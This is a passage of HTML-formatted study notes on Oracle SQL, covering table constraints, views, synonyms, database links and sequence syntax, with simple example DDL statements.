&lt;div class="sourceCode" id="cb20"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb20-1"&gt;&lt;a aria-hidden="true" href="#cb20-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;UNIQUE&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb20-2"&gt;&lt;a aria-hidden="true" href="#cb20-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;NOT&lt;/span&gt; &lt;span class="kw"&gt;NULL&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb20-3"&gt;&lt;a aria-hidden="true" href="#cb20-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;PRIMARY&lt;/span&gt; &lt;span class="kw"&gt;KEY&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb20-4"&gt;&lt;a aria-hidden="true" href="#cb20-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;FOREIGN&lt;/span&gt; &lt;span class="kw"&gt;KEY&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb20-5"&gt;&lt;a aria-hidden="true" href="#cb20-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;CHECK&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;If name is not provided, Oracle generates the constraint
names&lt;/em&gt;&lt;/p&gt;
&lt;ol start="11" type="1"&gt;
&lt;li&gt;An oddity of unique constraints is that it is possible to enter a
NULL value into the key column(s); it is indeed possible to have any
number of rows with NULL values in their key column(s)&lt;/li&gt;
&lt;li&gt;Unique constraints are enforced by an index. When a unique
constraint is defined, Oracle will look for an index on the key
column(s), and if one does not exist it will be created.&lt;/li&gt;
&lt;li&gt;The structure of these indexes (known as B*Tree indexes) does not
include NULL values, which is why many rows with NULL are permitted:
they simply do not exist in the index.&lt;/li&gt;
&lt;li&gt;selecting WHERE key_column IS NULL cannot use the index because it
doesn’t include the NULLs and will therefore always result in a scan of
the entire table.&lt;/li&gt;
&lt;li&gt;CANNOT define one not null constraint for the whole group, but
instead must define a not null constraint for each column.&lt;/li&gt;
&lt;li&gt;Possible to bypass the need to specify a value by including a
DEFAULT clause on the column when creating the table&lt;/li&gt;
&lt;li&gt;The relational database paradigm includes a requirement that every
table should have a primary key, a column (or combination of columns)
that can be used to distinguish every row. .. The Oracle database
deviates from the paradigm (as do some other RDBMS implementations) by
permitting tables without primary keys&lt;/li&gt;
&lt;li&gt;A table can have only one primary key. Try to create a second, and
you will get an error. A table can, however, have any number of unique
constraints and not null columns,&lt;/li&gt;
&lt;li&gt;A primary key constraint is a unique constraint combined with a not
null constraint.&lt;/li&gt;
&lt;li&gt;Foreign Key Constraints - The columns do not have to have the same
names, but they must be of the same data type.&lt;/li&gt;
&lt;li&gt;Attempting to inset a row in the child table for which there is no
matching row in the parent table will give an error. .. Similarly,
deleting a row in the parent table will give an error if there are
already rows referring to it in the child table&lt;/li&gt;
&lt;li&gt;The constraint may be created as ON DELETE CASCADE. .. This means
that if a row in the parent table is deleted, Oracle will search the
child table for all the matching rows and delete them too.&lt;/li&gt;
&lt;li&gt;ON DELETE SET NULL. .. If a row in the parent table is deleted,
Oracle will search the child table for all the matching rows and set the
foreign key columns to null. .. This means that the child rows will be
orphaned, but will still exist. .. If the columns in the child table
also have a not null constraint, then the deletion from the parent table
will fail.&lt;/li&gt;
&lt;li&gt;It is not possible to drop or truncate the parent table in a foreign
key relationship, even if there are no rows in the child table. .. This
still applies if the ON DELETE SET NULL or ON DELETE CASCADE clauses
were used.&lt;/li&gt;
&lt;li&gt;Check Constraints -&amp;gt; The rule must be an expression which will
evaluate to TRUE or FALSE .. The rules can refer to absolute values
entered as literals or to other columns in the same row and may make use
of some functions. .. As many check constraints as you want can be
applied to one column, but it is not possible to use a subquery to
evaluate whether a value is permissible or to use functions such as
SYSDATE. .. The not null constraint is in fact implemented as a
preconfigured check constraint.&lt;/li&gt;
&lt;li&gt;If you really need to make the change in a hurry, ask the database
administrator to quiesce the database: this is a process that will
freeze all user sessions. ..If you are very quick, you can make the
change then unquiesce the database before end users complain.&lt;/li&gt;
&lt;li&gt;Example&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb21"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb21-1"&gt;&lt;a aria-hidden="true" href="#cb21-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;create&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt; dept(&lt;/span&gt;
&lt;span id="cb21-2"&gt;&lt;a aria-hidden="true" href="#cb21-2" tabindex="-1"&gt;&lt;/a&gt;deptno &lt;span class="dt"&gt;number&lt;/span&gt;(&lt;span class="dv"&gt;2&lt;/span&gt;,&lt;span class="dv"&gt;0&lt;/span&gt;) &lt;span class="kw"&gt;constraint&lt;/span&gt; dept_deptno_pk &lt;span class="kw"&gt;primary&lt;/span&gt; &lt;span class="kw"&gt;key&lt;/span&gt;    &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;CONSTRAINT&lt;/span&gt; CONSTRAINT_NAME &lt;span class="kw"&gt;PRIMARY&lt;/span&gt; &lt;span class="kw"&gt;KEY&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb21-3"&gt;&lt;a aria-hidden="true" href="#cb21-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;constraint&lt;/span&gt; dept_deptno_ck &lt;span class="kw"&gt;check&lt;/span&gt; (deptno &lt;span class="kw"&gt;between&lt;/span&gt; &lt;span class="dv"&gt;10&lt;/span&gt; &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="dv"&gt;90&lt;/span&gt;),  &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;CONSTRAINT&lt;/span&gt; CONSTRAINT_NAME &lt;span class="kw"&gt;CHECK&lt;/span&gt; (COLUMN_NAME &lt;span class="kw"&gt;BETWEEN&lt;/span&gt; &lt;span class="dv"&gt;10&lt;/span&gt; &lt;span class="kw"&gt;AND&lt;/span&gt; &lt;span class="dv"&gt;90&lt;/span&gt;)&lt;/span&gt;
&lt;span id="cb21-4"&gt;&lt;a aria-hidden="true" href="#cb21-4" tabindex="-1"&gt;&lt;/a&gt;dname &lt;span class="dt"&gt;varchar2&lt;/span&gt;(&lt;span class="dv"&gt;20&lt;/span&gt;) &lt;span class="kw"&gt;constraint&lt;/span&gt; dept_dname_nn &lt;span class="kw"&gt;not&lt;/span&gt; &lt;span class="kw"&gt;null&lt;/span&gt;);  &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;CONSTRAINT&lt;/span&gt; CONSTRAINT_NAME  &lt;span class="kw"&gt;NOT&lt;/span&gt; &lt;span class="kw"&gt;NULL&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb21-5"&gt;&lt;a aria-hidden="true" href="#cb21-5" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb21-6"&gt;&lt;a aria-hidden="true" href="#cb21-6" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb21-7"&gt;&lt;a aria-hidden="true" href="#cb21-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;create&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt; emp(&lt;/span&gt;
&lt;span id="cb21-8"&gt;&lt;a aria-hidden="true" href="#cb21-8" tabindex="-1"&gt;&lt;/a&gt;empno &lt;span class="dt"&gt;number&lt;/span&gt;(&lt;span class="dv"&gt;4&lt;/span&gt;,&lt;span class="dv"&gt;0&lt;/span&gt;) &lt;span class="kw"&gt;constraint&lt;/span&gt; emp_empno_pk &lt;span class="kw"&gt;primary&lt;/span&gt; &lt;span class="kw"&gt;key&lt;/span&gt;,&lt;/span&gt;
&lt;span id="cb21-9"&gt;&lt;a aria-hidden="true" href="#cb21-9" tabindex="-1"&gt;&lt;/a&gt;ename &lt;span class="dt"&gt;varchar2&lt;/span&gt;(&lt;span class="dv"&gt;20&lt;/span&gt;) &lt;span class="kw"&gt;constraint&lt;/span&gt; emp_ename_nn &lt;span class="kw"&gt;not&lt;/span&gt; &lt;span class="kw"&gt;null&lt;/span&gt;,&lt;/span&gt;
&lt;span id="cb21-10"&gt;&lt;a aria-hidden="true" href="#cb21-10" tabindex="-1"&gt;&lt;/a&gt;mgr &lt;span class="dt"&gt;number&lt;/span&gt; (&lt;span class="dv"&gt;4&lt;/span&gt;,&lt;span class="dv"&gt;0&lt;/span&gt;) &lt;span class="kw"&gt;constraint&lt;/span&gt; emp_mgr_fk &lt;span class="kw"&gt;references&lt;/span&gt; emp (empno),  &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;CONSTRAINT&lt;/span&gt; CONSTRAINT_NAME &lt;span class="kw"&gt;REFERENCES&lt;/span&gt; TABLE_NAME (COLUMN_NAME)&lt;/span&gt;
&lt;span id="cb21-11"&gt;&lt;a aria-hidden="true" href="#cb21-11" tabindex="-1"&gt;&lt;/a&gt;dob &lt;span class="dt"&gt;date&lt;/span&gt;,&lt;/span&gt;
&lt;span id="cb21-12"&gt;&lt;a aria-hidden="true" href="#cb21-12" tabindex="-1"&gt;&lt;/a&gt;hiredate &lt;span class="dt"&gt;date&lt;/span&gt;,&lt;/span&gt;
&lt;span id="cb21-13"&gt;&lt;a aria-hidden="true" href="#cb21-13" tabindex="-1"&gt;&lt;/a&gt;deptno &lt;span class="dt"&gt;number&lt;/span&gt;(&lt;span class="dv"&gt;2&lt;/span&gt;,&lt;span class="dv"&gt;0&lt;/span&gt;) &lt;span class="kw"&gt;constraint&lt;/span&gt; emp_deptno_fk &lt;span class="kw"&gt;references&lt;/span&gt; dept(deptno)&lt;/span&gt;
&lt;span id="cb21-14"&gt;&lt;a aria-hidden="true" href="#cb21-14" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;on&lt;/span&gt; &lt;span class="kw"&gt;delete&lt;/span&gt; &lt;span class="kw"&gt;set&lt;/span&gt; &lt;span class="kw"&gt;null&lt;/span&gt;,&lt;/span&gt;
&lt;span id="cb21-15"&gt;&lt;a aria-hidden="true" href="#cb21-15" tabindex="-1"&gt;&lt;/a&gt;email &lt;span class="dt"&gt;varchar2&lt;/span&gt;(&lt;span class="dv"&gt;30&lt;/span&gt;) &lt;span class="kw"&gt;constraint&lt;/span&gt; emp_email_uk &lt;span class="kw"&gt;unique&lt;/span&gt;,  &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;CONSTRAINT&lt;/span&gt; CONSTRAINT_NAME &lt;span class="kw"&gt;UNIQUE&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb21-16"&gt;&lt;a aria-hidden="true" href="#cb21-16" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb21-17"&gt;&lt;a aria-hidden="true" href="#cb21-17" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;/* ADDING ADDITIONAL CONSTRAINTS AT THE &lt;/span&gt;&lt;span class="re"&gt;END&lt;/span&gt;&lt;span class="co"&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb21-18"&gt;&lt;a aria-hidden="true" href="#cb21-18" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb21-19"&gt;&lt;a aria-hidden="true" href="#cb21-19" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;constraint&lt;/span&gt; emp_hiredate_ck &lt;span class="kw"&gt;check&lt;/span&gt; (hiredate &lt;span class="op"&gt;&amp;gt;=&lt;/span&gt; dob &lt;span class="op"&gt;+&lt;/span&gt; &lt;span class="dv"&gt;365&lt;/span&gt;&lt;span class="op"&gt;*&lt;/span&gt;&lt;span class="dv"&gt;16&lt;/span&gt;),&lt;/span&gt;
&lt;span id="cb21-20"&gt;&lt;a aria-hidden="true" href="#cb21-20" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;constraint&lt;/span&gt; emp_email_ck&lt;/span&gt;
&lt;span id="cb21-21"&gt;&lt;a aria-hidden="true" href="#cb21-21" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;check&lt;/span&gt; ((&lt;span class="fu"&gt;instr&lt;/span&gt;(email,&lt;span class="st"&gt;'@'&lt;/span&gt;) &lt;span class="op"&gt;&amp;gt;&lt;/span&gt; &lt;span class="dv"&gt;0&lt;/span&gt;) &lt;span class="kw"&gt;and&lt;/span&gt; (&lt;span class="fu"&gt;instr&lt;/span&gt;(email,&lt;span class="st"&gt;'.'&lt;/span&gt;) &lt;span class="op"&gt;&amp;gt;&lt;/span&gt; &lt;span class="dv"&gt;0&lt;/span&gt;)));&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="28" type="1"&gt;
&lt;li&gt;Stored procedures, synonyms, tables, and views exist in the same
namespace.&lt;/li&gt;
&lt;li&gt;A heap is a table of variable length rows in random order. a heap
table can only be one table.a heap table can (and usually will) have
indexes and a primary key.&lt;/li&gt;
&lt;li&gt;BLOB, LONG, NUMBER, RAW and VARCHAR2 are variable length. CHAR is
fixed length&lt;/li&gt;
&lt;li&gt;CHAR, FLOAT, and INTEGER are all internal data types, though not as
widely used as some others.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;create table newtab as select * from tab;&lt;/code&gt; .. Check and
not null constraints are not dependent on any structures other than the
table to which they apply and so can safely be copied to a new table. ..
Primary key and unique constraints WILL NOT be copied as they are
dependent on other structures&lt;/li&gt;
&lt;li&gt;Unique and primary key constraints are enforced with indexes. ..
Check and not null constraints do not rely on indexes.&lt;/li&gt;
&lt;li&gt;Constraint violation will force a roll back of the current statement
but nothing else even if the transaction consists of more than one
statement&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-12"&gt;Chapter 12&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;A View looks like a table: a two-dimensional structure of rows of
columns, against which the user can run SELECT and DML statements.&lt;/li&gt;
&lt;li&gt;It can join tables, perform aggregations, or do sorts; absolutely
anything that is legal in the SELECT command can be used. However, if
the view is complex, then only SELECT statements can be run against
it&lt;/li&gt;
&lt;li&gt;Views share the same namespace as tables. But DML operations will
not always succeed.&lt;/li&gt;
&lt;li&gt;Use of Views: .. Security. .. Simplifying user SQL. .. Preventing
error. .. Making data comprehensible. Table and column names are often
long and pretty meaningless. .. The view and its columns can be much
more obvious. .. Performance.&lt;/li&gt;
&lt;li&gt;A nested loop join uses an index to get to individual rows; a hash
join reads the whole table into memory.&lt;/li&gt;
&lt;li&gt;Create View syntax&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb22"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb22-1"&gt;&lt;a aria-hidden="true" href="#cb22-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;create&lt;/span&gt; &lt;span class="kw"&gt;view&lt;/span&gt; dept_emp &lt;span class="kw"&gt;as&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb22-2"&gt;&lt;a aria-hidden="true" href="#cb22-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;select&lt;/span&gt; &lt;span class="co"&gt;/*+USE_HASH (employees departments)*/&lt;/span&gt; department_name, last_name&lt;/span&gt;
&lt;span id="cb22-3"&gt;&lt;a aria-hidden="true" href="#cb22-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;from&lt;/span&gt; departments &lt;span class="kw"&gt;natural&lt;/span&gt; &lt;span class="kw"&gt;join&lt;/span&gt; employees;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="7" type="1"&gt;
&lt;li&gt;A simple view draws data from one detail table, uses no functions,
and does no aggregation. -&amp;gt; DML statements work .. A complex view can
join detail tables, use functions, and perform aggregations. -&amp;gt; DML
Statements wont work&lt;/li&gt;
&lt;li&gt;If the view does not include a column that has a NOT NULL
constraint, then an INSERT through the view cannot succeed (unless the
column has a default value). .. This can produce a disconcerting effect
because the error message will refer to a table and a column that are
not mentioned in the statement&lt;/li&gt;
&lt;li&gt;Full syntax with options&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb23"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb23-1"&gt;&lt;a aria-hidden="true" href="#cb23-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;CREATE&lt;/span&gt; [&lt;span class="kw"&gt;OR&lt;/span&gt; &lt;span class="kw"&gt;REPLACE&lt;/span&gt;] [&lt;span class="kw"&gt;FORCE&lt;/span&gt; | &lt;span class="kw"&gt;NOFORCE&lt;/span&gt;] &lt;span class="kw"&gt;VIEW&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb23-2"&gt;&lt;a aria-hidden="true" href="#cb23-2" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;schema&lt;/span&gt;.]viewname [(alias [,alias]…)]&lt;/span&gt;
&lt;span id="cb23-3"&gt;&lt;a aria-hidden="true" href="#cb23-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;AS&lt;/span&gt; subquery&lt;/span&gt;
&lt;span id="cb23-4"&gt;&lt;a aria-hidden="true" href="#cb23-4" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="kw"&gt;CHECK&lt;/span&gt; &lt;span class="kw"&gt;OPTION&lt;/span&gt; [&lt;span class="kw"&gt;CONSTRAINT&lt;/span&gt; constraintname]]&lt;/span&gt;
&lt;span id="cb23-5"&gt;&lt;a aria-hidden="true" href="#cb23-5" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="kw"&gt;READ&lt;/span&gt; &lt;span class="kw"&gt;ONLY&lt;/span&gt; [&lt;span class="kw"&gt;CONSTRAINT&lt;/span&gt; constraintname]] ;&lt;/span&gt;
&lt;span id="cb23-6"&gt;&lt;a aria-hidden="true" href="#cb23-6" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;REPLACE&lt;/span&gt; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; replacing &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;view&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb23-7"&gt;&lt;a aria-hidden="true" href="#cb23-7" tabindex="-1"&gt;&lt;/a&gt;      FORCR &lt;span class="kw"&gt;or&lt;/span&gt; &lt;span class="kw"&gt;NOFORCE&lt;/span&gt; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb23-8"&gt;&lt;a aria-hidden="true" href="#cb23-8" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="kw"&gt;The&lt;/span&gt; &lt;span class="kw"&gt;FORCE&lt;/span&gt; keyword will &lt;span class="kw"&gt;create&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;view&lt;/span&gt; even &lt;span class="cf"&gt;if&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; detail &lt;span class="kw"&gt;table&lt;/span&gt;(s) &lt;span class="kw"&gt;in&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; subquery does &lt;span class="kw"&gt;not&lt;/span&gt; exist.&lt;/span&gt;
&lt;span id="cb23-9"&gt;&lt;a aria-hidden="true" href="#cb23-9" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="kw"&gt;NOFORCE&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt; &lt;span class="kw"&gt;and&lt;/span&gt; will cause an error &lt;span class="cf"&gt;if&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; detail &lt;span class="kw"&gt;table&lt;/span&gt; does &lt;span class="kw"&gt;not&lt;/span&gt; exist.&lt;/span&gt;
&lt;span id="cb23-10"&gt;&lt;a aria-hidden="true" href="#cb23-10" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="kw"&gt;CHECK&lt;/span&gt; &lt;span class="kw"&gt;OPTION&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb23-11"&gt;&lt;a aria-hidden="true" href="#cb23-11" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="cf"&gt;If&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; subquery includes a &lt;span class="kw"&gt;WHERE&lt;/span&gt; clause, &lt;span class="cf"&gt;then&lt;/span&gt; this &lt;span class="kw"&gt;option&lt;/span&gt; will prevent insertion &lt;span class="kw"&gt;of&lt;/span&gt; &lt;span class="kw"&gt;rows&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb23-12"&gt;&lt;a aria-hidden="true" href="#cb23-12" tabindex="-1"&gt;&lt;/a&gt;        that wouldn’t be seen &lt;span class="kw"&gt;in&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;view&lt;/span&gt; &lt;span class="kw"&gt;or&lt;/span&gt; updates that would cause a &lt;span class="kw"&gt;row&lt;/span&gt; &lt;span class="kw"&gt;to&lt;/span&gt; disappear &lt;span class="kw"&gt;from&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;view&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb23-13"&gt;&lt;a aria-hidden="true" href="#cb23-13" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="kw"&gt;By&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt;, this &lt;span class="kw"&gt;option&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;not&lt;/span&gt; enabled, which can give disconcerting results.&lt;/span&gt;
&lt;span id="cb23-14"&gt;&lt;a aria-hidden="true" href="#cb23-14" tabindex="-1"&gt;&lt;/a&gt;       &lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="kw"&gt;READ&lt;/span&gt; &lt;span class="kw"&gt;ONLY&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb23-15"&gt;&lt;a aria-hidden="true" href="#cb23-15" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb23-16"&gt;&lt;a aria-hidden="true" href="#cb23-16" tabindex="-1"&gt;&lt;/a&gt;       &lt;span class="kw"&gt;CONSTRAINT&lt;/span&gt; constraintname&lt;/span&gt;
&lt;span id="cb23-17"&gt;&lt;a aria-hidden="true" href="#cb23-17" tabindex="-1"&gt;&lt;/a&gt;            name &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="kw"&gt;CHECK&lt;/span&gt; &lt;span class="kw"&gt;OPTION&lt;/span&gt; &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="kw"&gt;READ&lt;/span&gt; &lt;span class="kw"&gt;ONLY&lt;/span&gt; restrictions &lt;span class="cf"&gt;for&lt;/span&gt; better error messages&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="10" type="1"&gt;
&lt;li&gt;&lt;p&gt;The main use of the ALTER VIEW command is to compile the view. A
view must be compiled successfully before it can be used .. When a view
is created, Oracle will check that the detail tables and the necessary
columns on which the view is based do exist. .. If they do not, the
compilation fails and the view will not be created, unless you use the
FORCE option. .. In that case, the view will be created but will be
unusable until the tables or columns to which it refers are created and
the view is successfully compiled. .. When an invalid view is queried,
Oracle will attempt to compile it automatically. .. If the compilation
succeeds because the problem has been fixed, the user won’t know there
was ever a problem&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ALTER VIEW HR.ex_staff compile;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;DROP VIEW [schema.]viewname ;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A synonym is an alternative name for an object. .. Use of
synonyms means that an application can function for any user,
irrespective of which schema owns the views and tables or even in which
database the tables reside.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;select * from hr.employees@prod;&lt;/code&gt; .. database link
PROD (means of accessing objects in a database other than that onto
which you are logged)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Public Synonym: -&amp;gt; data independence and location transparency
&lt;code&gt;create public synonym emp for hr.employees@prod;&lt;/code&gt; .. All the
user (any user!) need enter is the following:
&lt;code&gt;select * from emp;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;As well as SELECT statements, DML statements can address synonyms
as though they were the object to which they refer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Private synonyms are schema objects. Either they must be in your
own schema, or they must be qualified with the schema name.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Public synonyms exist independently of a schema. .. A public
synonym can be referred to by any user to whom permission has been
granted to see it without the need to qualify it with a schema name. ..
Private synonyms must be a unique name within their schema. .. Public
synonyms can have the same name as schema objects. .. When executing
statements that address objects without a schema qualifier, Oracle will
first look for the object in the local schema, and only if it cannot be
found will it look for a public synonym.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;CREATE [PUBLIC] SYNONYM synonym FOR object ;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The “public” in “public synonym” means that it is not a schema
object and cannot therefore be prefixed with a schema name. It does not
mean that everyone has permissions against it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A user will need to have been granted permission to create
private synonyms and further permission to create public synonyms. ..
Usually, only the database administrator can create (or drop) public
synonyms&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;DROP [PUBLIC] SYNONYM synonym ;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the object to which a synonym refers (the table or view) is
dropped, the synonym continues to exist. .. Any attempt to use it will
return an error. In this respect, synonyms behave in the same way as
views. .. If the object is recreated, the synonym must be recompiled
before use&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ALTER SYNONYM synonym COMPILE;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SEQUENCE .. A sequence is a structure for generating unique
integer values. Only one session can read the next value and thus force
it to increment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Each selection of SEQ1.NEXTVAL generates a unique
number.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sequence Create Syntax&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb24"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb24-1"&gt;&lt;a aria-hidden="true" href="#cb24-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;CREATE&lt;/span&gt; &lt;span class="kw"&gt;SEQUENCE&lt;/span&gt; [&lt;span class="kw"&gt;schema&lt;/span&gt;.]sequencename&lt;/span&gt;
&lt;span id="cb24-2"&gt;&lt;a aria-hidden="true" href="#cb24-2" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;INCREMENT&lt;/span&gt; &lt;span class="kw"&gt;BY&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt;]  &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt;  Defaults &lt;span class="kw"&gt;to&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt;&lt;span class="dv"&gt;1&lt;/span&gt; but can be &lt;span class="kw"&gt;any&lt;/span&gt; positive &lt;span class="dt"&gt;number&lt;/span&gt; (&lt;span class="kw"&gt;or&lt;/span&gt; negative &lt;span class="dt"&gt;number&lt;/span&gt; &lt;span class="cf"&gt;for&lt;/span&gt; a descending &lt;span class="kw"&gt;sequence&lt;/span&gt;).&lt;/span&gt;
&lt;span id="cb24-3"&gt;&lt;a aria-hidden="true" href="#cb24-3" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;START&lt;/span&gt; &lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt;] &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Defaults &lt;span class="kw"&gt;to&lt;/span&gt; &lt;span class="dv"&gt;1&lt;/span&gt; but can be anything.&lt;/span&gt;
&lt;span id="cb24-4"&gt;&lt;a aria-hidden="true" href="#cb24-4" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;MAXVALUE&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt; | &lt;span class="kw"&gt;NOMAXVALUE&lt;/span&gt;]&lt;/span&gt;
